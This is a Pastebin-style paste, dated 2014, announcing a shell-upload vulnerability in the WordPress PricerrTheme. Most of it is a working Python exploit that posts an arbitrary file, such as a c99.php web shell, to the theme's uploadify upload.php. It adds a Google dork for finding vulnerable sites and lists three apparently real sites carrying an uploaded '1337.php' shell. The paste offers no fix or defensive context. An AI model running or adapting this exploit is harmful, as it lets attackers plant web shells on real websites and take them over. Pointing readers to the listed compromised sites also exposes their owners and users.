1337_Brain

Wordpress Theme PricerrTheme Shell Upload Vulnerability

Jul 11th, 2014
783
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. Wordpress Theme PricerrTheme Shell Upload Vulnerability
  2. ############################################################################
  3.  
  4. # Title : Wordpress Theme PricerrTheme Shell Upload Vulnerability
  5.  
  6. # Author : Aloulou
  7.  
  8. # Date : 08/07/2014
  9.  
  10. # Facebook : facebook.com/vorcen
  11.  
  12.  
  13. # Vendor : http://sitemile.com/products/wordpress-pricerr-theme/ ($69.99)
  14.  
  15. # Google Dork : inurl:/wp-content/themes/PricerrTheme
  16.  
  17. # Tested on : Linux
  18.  
  19.  
  20.  
  21. ############################################################################
  22.  
  23.  
  24.  
  25. Exploit:
  26.  
  27. import optparse
  28. import sys
  29. import pycurl
  30. from cStringIO import StringIO
  31. print "#________________________________________________________#"
  32. print "| |"
  33. print "| PricerrTheme Shell Upload Exploit |"
  34. print "| |"
  35. print "| Author:Aloulou |"
  36. print "| Dork: inurl:/wp-content/themes/PricerrTheme |"
  37. print "| Facebook: facebook.com/vorcen |"
  38. print "| Email:[email protected] |"
  39. print "| Greeting to Tunisia , AnonBoy & All muslims |"
  40. print "#________________________________________________________#\n"
  41.  
  42. parser = optparse.OptionParser(usage='python %s -t http://site.com -s shellname -p UploadingPath \nExample: python %s -t http://target.com -s c99.php -p /wp-content/uploads' %(sys.argv[0],sys.argv[0]))
  43. parser.add_option('-t', '--target',action="store", dest="target",help="-t http://site.com", default="")
  44. parser.add_option('-s', '--shell',action="store", dest="shellname",help="-s c99.php", default="")
  45. parser.add_option('-p', '--path',action="store", dest="path",help="-p /wp-content/uploads", default="")
  46. options, args = parser.parse_args()
  47. if options.target=="": print ("Type \"python %s -h\" for help"%sys.argv[0])
  48. else:
  49. pth='folder'
  50. shpath=options.path
  51. target=options.target
  52. filename=options.shellname
  53. psd='Filedata'
  54. themename='PricerrTheme'
  55. c = pycurl.Curl()
  56. c.setopt(c.POST, 1)
  57. c.setopt(c.HTTPPOST, [('title', 'test'), ((psd, (c.FORM_FILE, filename)))])
  58. c.setopt(c.VERBOSE, 0)
  59. bodyOutput = StringIO()
  60. headersOutput = StringIO()
  61. c.setopt(c.WRITEFUNCTION, bodyOutput.write)
  62. c.setopt(c.URL, '%s/wp-content/themes/%s/lib/uploadify/upload.php?%s=/%s' %(target,themename,pth,shpath) )
  63. c.setopt(c.HEADERFUNCTION, headersOutput.write)
  64. c.perform()
  65. x=bodyOutput.getvalue()
  66. shname=options.shellname
  67. if "/" in shname:
  68. shname=options.shellname.rsplit('/',1)
  69. if x=="1":
  70. print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname[1]))
  71. else:print("Shell upload Failed!")
  72. else:
  73. shname=options.shellname
  74. if x=="1":
  75. print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname))
  76. else:print("Shell upload Failed!")
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84. Examples:
  85.  
  86. http://www.anygigz.com/wp-content/themes/PricerrTheme/1337.php
  87. http://gigpeddler.com/wp-content/themes/PricerrTheme/1337.php
  88. http://www.fiverme.com/wp-content/themes/PricerrTheme/1337.php
  89.  
  90.  
  91.  
  92.  
  93.  
  94. # Greeting to : MzshoHk , Alking Ksa & All muslims
Advertisement
Add Comment
Please, Sign In to add comment